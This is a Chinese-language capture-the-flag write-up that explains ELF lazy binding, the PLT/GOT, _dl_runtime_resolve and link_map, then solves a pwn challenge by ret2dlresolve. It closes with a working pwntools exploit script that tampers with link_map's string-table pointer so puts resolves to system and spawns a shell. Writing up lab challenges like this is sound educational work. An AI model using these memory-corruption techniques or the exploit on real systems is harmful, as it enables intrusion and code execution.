参考资料: 实例文件为boss题的attachment,见githubhttps://zhuanlan.zhihu.com/p/37572651 https://ctf-wiki.org/executable/elf/structure/basic-info/ https://deepunk.icu/dl%E7%9B%B8%E5%85%B3%E6%94%BB%E5%87%BB%E6%B1%87%E6%80%BB/ https://www.soinside.com/question/AENBEApAgMMbfzPviVeoBc
动态链接程序的装载 当程序使用动态链接时,才会存在延迟绑定技术。 一个动态链接的程序,除了要将程序本身加载进内存之外,还需要加载对应使用的libc,这一步由ld动态链接器实现。 由于动态链接信息与程序的形成和加载由莫大关系,所以在linux系统下,这些信息必须在二进制文件中明确写出,而不是存放在某个PATH中。 1 2 3 4 5 6 7 8 9 10 首先,我们来关注一下链接视图。 文件开始处是 ELF 头部( ELF Header),它给出了整个文件的组织情况。 如果程序头部表(Program Header Table)存在的话,它会告诉系统如何创建进程。用于生成进程的目标文件必须具有程序头部表,但是重定位文件不需要这个表。 节区部分包含在链接视图中要使用的大部分信息:指令、数据、符号表、重定位信息等等。 节区头部表(Section Header Table)包含了描述文件节区的信息,每个节区在表中都有一个表项,会给出节区名称、节区大小等信息。用于链接的目标文件必须有节区头部表,其它目标文件则无所谓,可以有,也可以没有。
来自CTFwiki
1 2 3 4 5 LOAD:0000000000000000 LOAD:0000000000000000 ; File Name : C:\Users\30336\Desktop\pwn LOAD:0000000000000000 ; Format : ELF64 for x86-64 (Shared object) LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2' LOAD:0000000000000000 ; Needed Library 'libc.so.6'
不难发现,即使是在桌面中的文件,IDA依然可以正确读取Interpreter的位置,因为这些信息已经写死在二进制文件中。 常用的工具patchelf也是通过直接修改文件达成Interpreter和libc的更换。 延迟绑定系统 对于动态链接库的使用,主要关注点在于外部函数的使用 当程序和库被装载在内存之后,.text段的指令就可以通过call来实现对外部函数的调用,对于内部的函数call指令相当于是push和jmp,然后到达对应地址之后开始压栈、执行等。而call外部函数时,对应地址是另外一条jmp,它会跳转到该函数的plt的位置。 如果这个外部函数已经被调用过至少一次,那么plt处第二次跳转会到达该函数的got表项的位置,这个got表项又是另一个jmp指令,这次终于到达了外部函数的真正地址,然后开始压栈、执行。这是外部函数大多数情况下的调用过程。 众所周知,我们在打ret2libc时,需要先泄露出libc中某一个函数在内存中的真实地址,然后根据已知的偏移找到我们需要的东西,即使是-no-pie也是一样。所以说由于种种原因,即使程序本身的地址可以通过静态分析获得确切地址,也无法预先找到libc的加载地址。 那么问题来了,由于.text肯定是没法跟着libc加载地址一起变化的,那么在使用外部函数时,怎样才能保证外部函数地址的正确呢?这就是第一次调用外部函数时需要解决的,也就是对外部函数进行重定位. 首先解决一个疑惑,为什么是在第一次调用时才重定位呢?实际上,不一定是第一次调用才重定位,也可能在main()之前就被处理好了,但在具体实现(尤其是有大量外部函数的调用时)上,还是第一次调用时重定位居多。很简单,因为重定位是一个比较消耗时间的过程,而有些函数(比如异常时结束进程的exit())很可能根本就用不上,所以就延迟绑定(lazy load),没ddl绝不干活。 由于延迟绑定的存在,所以之前所说的got表那一内存页在完成所有重定位之前,一直都要保持可写。这就是got表篡改这一漏洞的实现逻辑,既在所有重定位完成之前篡改一个或多个got表项。这个办法在partial RELRO和no RELRO时可用,在full RELRO时,函数被提前重定位,然后内存页变成只读,就没办法改了。 延迟绑定 detail 先来一个一个demo,这个是最原始纯真的延迟绑定,后面会来一个带-fcf-protection=none的demo。 1 2 3 4 5 6 7 #include <stdio.h> int main () { char *s = "what a day!" ; puts (s); return 0 ; } gcc lazy_load.c -z lazy -no-pie -fcf-protection=none -o lazy_load
在main()中第一次调用puts(),可以看到是puts@plt 1 ► 0x401140 <main+26 > call puts @plt <puts @plt>
然后进去看看 1 2 3 0x401030 <puts @plt>: jmp QWORD PTR [rip+0x2fe2 ] # 0x404018 <puts @got.plt>0x401036 <puts @plt+6 >: push 0x0 0x40103b <puts @plt+11 >: jmp 0x401020
再到puts@got.plt看一眼,这一块有些不知所云,网上收集的资料倒是比较容易,一致的说法是,这里是存放的是puts@plt + 6的指令,也就是又跳转回去,到了下面的0x401036的位置。 1 2 3 0x404018 <puts @got.plt>: ss adc BYTE PTR [rax+0x0 ],al 0x40401c <puts @got.plt+4 >: add BYTE PTR [rax],al 0x40401e <puts @got.plt+6 >: add BYTE PTR [rax],al
再回来,+6位置push一个0x0到栈上,然后又跳 1 2 0x401036 <puts @plt+6 >: push 0x0 0x40103b <puts @plt+11 >: jmp 0x401020
不难看到,这块儿正好在puts@plt上,具体来说是它在plt头部,所以也叫plt[0] 又向栈上push,然后jmp到0x404010 1 2 3 4 0x401020 : push QWORD PTR [rip+0x2fe2 ] # 0x404008 0x401026 : jmp QWORD PTR [rip+0x2fe4 ] # 0x404010 0x40102c : nop DWORD PTR [rax+0x0 ]0x401030 <puts @plt>: jmp QWORD PTR [rip+0x2fe2 ] # 0x404018 <puts @got.plt>
0x404010是一个函数的地址,这个函数就是_dl_runtime_resolve(),用于运行时进行外部函数重定位,而刚才的两次push,是为该函数提供了参数,第一个push的是rel_arg,是一个偏移值,第二个是link_map结构体。 1 2 3 4 5 6 7 0x404008 : 0x00007ffff7ffe2e0 0x00007ffff7fd8d30 # linkmap # _dl_runtime_resolve pwndbg> x/10 gx 0x00007ffff7fd8d30 0x7ffff7fd8d30 <_dl_runtime_resolve_xsavec>: 0xe3894853fa1e0ff3 0x4d252b48c0e48348 0x7ffff7fd8d40 <_dl_runtime_resolve_xsavec+16 >: 0x482404894800023f 0x2454894808244c89 0x7ffff7fd8d50 <_dl_runtime_resolve_xsavec+32 >: 0x8948182474894810 0x282444894c20247c 0x7ffff7fd8d60 <_dl_runtime_resolve_xsavec+48 >: 0x00eeb830244c894c 0x24948948d2310000 0x7ffff7fd8d70 <_dl_runtime_resolve_xsavec+64 >: 0x2494894800000250 0x2494894800000258
需要注意的是,无论是32还是64位都是这一套模式,64位在这里不会用寄存器传递这两个参数。 _dl_runtime_resolve()如何重定位 在具体讨论之前,补充一些关于Segment的东西 .dynamic,存储很多关于动态链接的信息的结构体(ELF64_Dyn),结构体内包含的是信息的种类以及地址。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 LOAD:0000000000403E20 ; ELF Dynamic Information LOAD:0000000000403E20 ; =========================================================================== LOAD:0000000000403E20 LOAD:0000000000403E20 ; Segment type: Pure data LOAD:0000000000403E20 ; Segment permissions: Read/Write LOAD:0000000000403E20 LOAD segment mempage public 'DATA' use64 LOAD:0000000000403E20 assume cs:LOAD LOAD:0000000000403E20 ;org 403E20 h LOAD:0000000000403E20 _DYNAMIC Elf64_Dyn <1 , 18 h> ; DATA XREF: LOAD:00000000004001 A0↑o LOAD:0000000000403E20 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o LOAD:0000000000403E20 ; DT_NEEDED libc.so.6 LOAD:0000000000403E30 Elf64_Dyn <0 Ch, 401000 h> ; DT_INIT LOAD:0000000000403E40 Elf64_Dyn <0 Dh, 40114 Ch> ; DT_FINI LOAD:0000000000403E50 Elf64_Dyn <19 h, 403E10 h> ; DT_INIT_ARRAY LOAD:0000000000403E60 Elf64_Dyn <1B h, 8 > ; DT_INIT_ARRAYSZ LOAD:0000000000403E70 Elf64_Dyn <1 Ah, 403E18 h> ; DT_FINI_ARRAY LOAD:0000000000403E80 Elf64_Dyn <1 Ch, 8 > ; DT_FINI_ARRAYSZ LOAD:0000000000403E90 Elf64_Dyn <6F FFFEF5h, 4003 A0h> ; DT_GNU_HASH LOAD:0000000000403 EA0 Elf64_Dyn <5 , 400420 h> ; DT_STRTAB LOAD:0000000000403 EB0 Elf64_Dyn <6 , 4003 C0h> ; DT_SYMTAB LOAD:0000000000403 EC0 Elf64_Dyn <0 Ah, 48 h> ; DT_STRSZ LOAD:0000000000403 ED0 Elf64_Dyn <0B h, 18 h> ; DT_SYMENT LOAD:0000000000403 EE0 Elf64_Dyn <15 h, 0 > ; DT_DEBUG LOAD:0000000000403 EF0 Elf64_Dyn <3 , 404000 h> ; DT_PLTGOT LOAD:0000000000403F 00 Elf64_Dyn <2 , 18 h> ; DT_PLTRELSZ LOAD:0000000000403F 10 Elf64_Dyn <14 h, 7 > ; DT_PLTREL LOAD:0000000000403F 20 Elf64_Dyn <17 h, 4004 D0h> ; DT_JMPREL LOAD:0000000000403F 30 Elf64_Dyn <7 , 4004 A0h> ; DT_RELA LOAD:0000000000403F 40 Elf64_Dyn <8 , 30 h> ; DT_RELASZ LOAD:0000000000403F 50 Elf64_Dyn <9 , 18 h> ; DT_RELAENT LOAD:0000000000403F 60 Elf64_Dyn <6F FFFFFEh, 400470 h> ; DT_VERNEED LOAD:0000000000403F 70 Elf64_Dyn <6F FFFFFFh, 1 > ; DT_VERNEEDNUM LOAD:0000000000403F 80 Elf64_Dyn <6F FFFFF0h, 400468 h> ; DT_VERSYM LOAD:0000000000403F 90 Elf64_Dyn <0 > ; DT_NULL
注意关注(来自deepunk.icu) DT_REL 动态链接重定位表地址 DT_SYMTAB 动态链接符号表地址 DT_STRTAB 动态链接字符串表地址 DT_INIT 初始化代码地址 DT_FINI 结束代码地址 .dynstr,动态链接中的字符串,可以从上面的结构体可以寻址。可以看到我们使用的puts() 我们主要关注函数名字符串,比如说在no RELRO时,可以篡改.dynamic中指向该段结构的地址指向提前伪造好的.dynstr,然后触发某函数的重定位,这个函数就被重定位到了伪造段中包含的system字样。partial RELRO 或者 full RELRO时,这段内存不可写,这种方法就使用不了。 1 2 3 4 5 6 7 8 9 10 LOAD:0000000000400420 ; ELF String Table LOAD:0000000000400420 unk_400420 db 0 ; DATA XREF: LOAD:00000000004003 D8↑o LOAD:0000000000400420 ; LOAD:00000000004003F 0↑o ... LOAD:0000000000400421 aLibcStartMain db '__libc_start_main' ,0 LOAD:0000000000400421 ; DATA XREF: LOAD:00000000004003 D8↑o LOAD:0000000000400433 aPuts db 'puts' ,0 ; DATA XREF: LOAD:00000000004003F 0↑o LOAD:0000000000400438 aLibcSo6 db 'libc.so.6' ,0 ; DATA XREF: LOAD:0000000000400470 ↓o LOAD:0000000000400442 aGlibc225 db 'GLIBC_2.2.5' ,0 ; DATA XREF: LOAD:0000000000400480 ↓o LOAD:000000000040044 E aGlibc234 db 'GLIBC_2.34' ,0 ; DATA XREF: LOAD:0000000000400490 ↓o LOAD:0000000000400459 aGmonStart db '__gmon_start__' ,0 ; DATA XREF: LOAD:0000000000400408 ↑o
.dynsym,这里是一堆符号表结构体,还是主要关注函数的结构体 1 2 3 4 5 LOAD:00000000004003 C0 ; ELF Symbol Table LOAD:00000000004003 C0 Elf64_Sym <0 > LOAD:00000000004003 D8 Elf64_Sym <offset aLibcStartMain - offset unk_400420, 12 h, 0 , 0 , 0 , 0 > ; "__libc_start_main" LOAD:00000000004003F 0 Elf64_Sym <offset aPuts - offset unk_400420, 12 h, 0 , 0 , 0 , 0 > ; "puts" LOAD:0000000000400408 Elf64_Sym <offset aGmonStart - offset unk_400420, 20 h, 0 , 0 , 0 , 0 > ; "__gmon_start__"
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
.rel.dyn(DT_RELA)和.rel.plt(DT_JMPREL),被称为动态链接重定位表 .rel.dyn,用于修正.data和.got中的数据引用,函数的信息不在这里,一般也不是很关注这个 .rel.plt这个段和之前的rel_arg直接相关,并且用于修正.got.plt(俗称的got表)。在32位中rel_arg是用于计算它的偏移,64位里直接就是下标(deepunk.icu); 1 2 3 4 5 6 7 LOAD:00000000004004 A0 ; ELF RELA Relocation Table LOAD:00000000004004 A0 Elf64_Rela <403F F0h, 100000006 h, 0 > ; R_X86_64_GLOB_DAT __libc_start_main LOAD:00000000004004B 8 Elf64_Rela <403F F8h, 300000006 h, 0 > ; R_X86_64_GLOB_DAT __gmon_start__ LOAD:00000000004004 D0 ; ELF JMPREL Relocation Table LOAD:00000000004004 D0 Elf64_Rela <404018 h, 200000007 h, 0 > ; R_X86_64_JUMP_SLOT puts LOAD:00000000004004 D0 LOAD ends
64位和32位的结构体不一样,结构体示例对比一下。(deepunk.icu) 1 2 3 4 5 6 7 8 9 10 11 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; } Elf64_Rel;
rel_arg了解之后,再来解决一下上面遗留的link_map结构体。可以看到存储的是被链接的文件,以及它们对应的.dynamic以及加载地址偏移(由于-no-pie所以执行文件加载地址是0x0),之前push的是执行文件的linkmap,也就是第一个 1 2 3 4 5 Node Objfile Load Bias Dynamic Segment 0x7ffff7ffe2e0 <Unknown, likely /home/pwn/testtable/lazy_load> 0x0 0x403e20 0x7ffff7ffe890 linux-vdso.so.1 0x7ffff7fc1000 0x7ffff7fc13a0 0x7ffff7fbb160 /lib/x86_64-linux-gnu/libc.so.6 0x7ffff7d83000 0x7ffff7f9cbc0 0x7ffff7ffdaf0 /lib64/ld-linux-x86-64. so.2 0x7ffff7fc3000 0x7ffff7ffce80
以其中的libc.so.6为例,看看.dynamic的结构,与执行文件对比一下。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> x/20 gx 0x7ffff7f9cbc0 0x7ffff7f9cbc0 : 0x0000000000000001 0x0000000000007d69 0x7ffff7f9cbd0 : 0x000000000000000e 0x0000000000007d7e 0x7ffff7f9cbe0 : 0x0000000000000019 0x0000000000216900 0x7ffff7f9cbf0 : 0x000000000000001b 0x0000000000000010 0x7ffff7f9cc00 : 0x0000000000000004 0x00007ffff7f939f8 0x7ffff7f9cc10 : 0x000000006ffffef5 0x00007ffff7d833c8 0x7ffff7f9cc20 : 0x0000000000000005 0x00007ffff7d99650 0x7ffff7f9cc30 : 0x0000000000000006 0x00007ffff7d87ad0 0x7ffff7f9cc40 : 0x000000000000000a 0x0000000000007f15 0x7ffff7f9cc50 : 0x000000000000000b 0x0000000000000018 pwndbg> x/20 gx 0x403e20 0x403e20 : 0x0000000000000001 0x0000000000000018 0x403e30 : 0x000000000000000c 0x0000000000401000 0x403e40 : 0x000000000000000d 0x000000000040114c 0x403e50 : 0x0000000000000019 0x0000000000403e10 0x403e60 : 0x000000000000001b 0x0000000000000008 0x403e70 : 0x000000000000001a 0x0000000000403e18 0x403e80 : 0x000000000000001c 0x0000000000000008 0x403e90 : 0x000000006ffffef5 0x00000000004003a0 0x403ea0 : 0x0000000000000005 0x0000000000400420 0x403eb0 : 0x0000000000000006 0x00000000004003c0
可以看到两个链接文件的ELF64_Dyn的类型基本一致,说明两个文件的有关动态链接的结构相似的,后面所指向的诸如.dynstr、.dynsym、.rel.plt地址是不一样的,是各自的真实地址。 现在简单解释(感性的理解)_dl_runtime_reslove(link_map, rel_arg)是如何借助这些结构重定位某一个函数。 第一步,借助link_map找到.dynamic的加载地址,进而找到.rel.plt的位置。 第二步,借助rel_arg(作为偏移或者下标),找到的.rel.plt中指定函数的动态链接重定位表。 第三步,取出动态链接重定位表中的r_offset,用于找到.got.plt的位置(既got表) 第四步,取出动态链接重定位表中的r_info,找到函数的动态链接重定位表,取出其中的st_name,既.dynstr中的函数名字符。 一点补充(有关-fcf-protection) 攻击手段 现在来具体分析一下这道boss题怎么做。由于给出了source code所以我们自己编译一个方便调试的执行文件,并且把随机数那一部分去掉,指令和上面那个demo一样 1 2 3 4 5 6 7 8 [*] '/home/pwn/worktable/cnss2024/boss/src/attachment' Arch: amd64-64 -little RELRO: Partial RELRO <--------- Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled
首先来到init()函数,passwd指向一个mmap()出来的空间,passwd本身在.bss的最高位置。然后在这个空间中写入随机数,最后把前八位换成固定的deadbeef字符串,这样总共就有0x10个已写入字符。 1 2 3 4 5 6 7 8 9 10 11 12 13 void init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); int fd = open("/dev/urandom" , 0 ); if (fd < 0 ){ _Exit(0 ); } passwd = mmap(NULL , 0x2000 , PROT_READ | PROT_WRITE , MAP_ANONYMOUS | MAP_PRIVATE, -1 , 0 ); read(fd, passwd, 0x10 ); memcpy (passwd, "deadbeef" , 0x8 ); close(fd); return ; }
动态调试一下,发现多划分了0x2000的长度。 1 2 3 4 5 6 7 8 pwndbg> x/10 gx 0x4040A0 0x4040a0 <passwd>: 0x00007ffff7fb9000 0x0000000000000000 0x4040b0 : 0x0000000000000000 0x0000000000000000 0x4040c0 : 0x0000000000000000 0x0000000000000000 0x4040d0 : 0x0000000000000000 0x0000000000000000 0x4040e0 : 0x0000000000000000 0x0000000000000000 pwndbg> vmmap 0x7ffff7fb9000 0x7ffff7fbd000 rw-p 4000 0 [anon_7ffff7fb9]
再查看一下linkmap的地址, 再看看main(),read_num()就是atoll()。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int main () { unsigned long long offset, value; char buf[0x10 ]; init(); myread(buf, 0x10 ); do { offset = read_num(); value = read_num(); *((unsigned long long *)passwd + offset) ^= value; }while (!strncmp (passwd, buf, 0x10 )); puts (passwd); _Exit(0 ); }
大致内容比较明确,从passwd开始的位置可以8字节一组任意写,前提是知道原本那个地址的内容是什么。 这道题比较难回显,所以考虑ret2dlresolve。想法是,由于puts()在最后才会第一次调用,也就是那时会调用一次__dl_runtime_resolve来重定位puts. 另外的,由于无法控制压栈的内容,所以解释puts时的rel_arg和linkmap不能变,所以放弃伪造linkmap。 由于mmap的空间在ld内存的低位,而且偏移不变,所以可以尝试修改到ld的内容,改变linkmap内的内容,实现误导__dl_runtime_resolve。 首先查看一下linkmap的地址,发现都在ld内,重点修改的是执行文件的linkmap 1 2 3 4 5 6 pwndbg> linkmap Node Objfile Load Bias Dynamic Segment 0x7ffff7ffe2e0 <Unknown, likely /home/pwn/worktable/cnss2024/boss/src/attachment> 0x555555554000 0x555555557df8 0x7ffff7ffe890 linux-vdso.so.1 0x7ffff7fc1000 0x7ffff7fc13a0 0x7ffff7fbb160 /lib/x86_64-linux-gnu/libc.so.6 0x7ffff7d83000 0x7ffff7f9cbc0 0x7ffff7ffdaf0 /lib64/ld-linux-x86-64. so.2 0x7ffff7fc3000 0x7ffff7ffce80
思路是,重定向时__dl_runtime_resolve会借助.dynstr中的字符串,在libc的linkmap中查找目标字符串的偏移,这个偏移+libc基址 被写到.got.plt中。所以这里实际上有两种方法,第一种方法,伪造一个.dynstr,使重定位查找到的不是puts,而是system;第二种方法,修改linkmap中libc的基地址,使.got.plt中被写入我们指定的函数。 博主的方法是第一种方法,并且使用docker容器作为环境,但是这种方法在docker容器中直接运行可以getshell,docker容器把attachment挂到端口上打远程时就不行,推测是直接运行的文件的内存布局和挂在端口上的不一样,尝试爆破出两者的偏移结果也没用。 exp.py仅供参考,更具体的思路是将linkmap中的l->info[DT_STRTAB]修改最后一位(LSB),变为l->info[DT_DEBUG]的地址,DT_DEBUG结构体的地址成员指向的是ld.so中的一段可读写内存,所以在这个位置的0x3e(puts字符串在.dynstr中的偏移)偏移处伪造一个system\x00字样,0x3e偏移处正好全是\x00,方便了工作。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from os import systemdef debug (cmd='' ): system("gdb --pi={}" .format (io.pid)) pause() def key (sh, crypto ): key = '' ret = 0 length = len (sh) for i in range (length): temp = chr (sh[i] ^ crypto[i]) key += temp for i in range (length): ret += pow (256 , i) * ord (key[i]) return ret def xorsend (offset, payload ): io.sendline(offset) sleep(0.01 ) io.sendline(payload) sleep(0.01 ) io = remote("localhost" , 8000 ) context.log_level = "debug" io.send(b'sh\x00' .ljust(16 , b'\x00' )) xorsend(str (0 ), str (key(b'sh\x00' , b'dea' ))) of = 0x1000 *(-6 ) offset1 = (0x7ffff7ffe348 - 0x7ffff7fb9000 + of) // 8 xorsend(str (offset1), str (key(b'\xb8' , b'\x78' ))) offset2 = (0x7ffff7ffe118 - 0x7ffff7fb9000 + of) // 8 xorsend(str (offset2 + 7 ), str (key(b'\x73\x79' .rjust(8 , b'\x00' ), b'\x00' *8 ))) xorsend(str (offset2 + 8 ), str (key(b'\x73\x74\x65\x6d' .ljust(8 , b'\x00' ), b'\x00' *8 ))) ''' 0x7f1e1f0f1148: 0x0000000000000000 0x7379000000000000 0x7f1e1f0f1158: 0x000000007374656d 0x0000000000000000 ''' xorsend(str (0 ), str (key(b'/bin/sh\x00' , b'sh\x00dbeef' ))) io.interactive()
第二种方法是出题人迪普朋克提示的,但没有想到怎么实现,puts和system()在libc中的偏移有16进制下的五位之多,由于无法泄露libc基址,异或最多修改三位,所以不知道具体怎么写。 补:几天之后打通了远程,发现是nc远程启动的进程和docker容器内本地启动的进程内存布局不一样,mmap()分配的空间的位置不一样,把上面exp的地址改一下就可以。